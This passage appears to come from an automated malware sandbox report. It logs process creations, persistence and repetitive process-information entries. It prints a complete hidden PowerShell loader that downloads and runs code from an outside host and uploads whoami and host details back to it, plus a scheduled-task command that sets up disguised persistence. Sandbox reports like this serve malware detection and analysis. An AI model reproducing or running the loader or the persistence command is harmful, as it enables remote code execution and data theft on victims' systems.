Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -noni -exec bypass -c =new-object system.net.webclient	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0471A592 push es; ret	8_2_0471A5A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_047137D1 push eax; iretd	8_2_047137DD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_04713AB3 push ebx; retf	8_2_04713ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04D32CD5 push 04B807D4h; retf	9_2_04D32D2E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04D35690 push eax; iretd	9_2_04D35699
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_07C733B3 push FFFFFF8Bh; retf	9_2_07C733BC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF8388536AC push ebx; retf 000Ch	15_2_00007FF8388536EA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF8388500BD pushad ; iretd	15_2_00007FF8388500C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF8389247D0 pushad ; ret	15_2_00007FF8389247D1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF838920D69 push ebx; ret	15_2_00007FF838920D6A

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
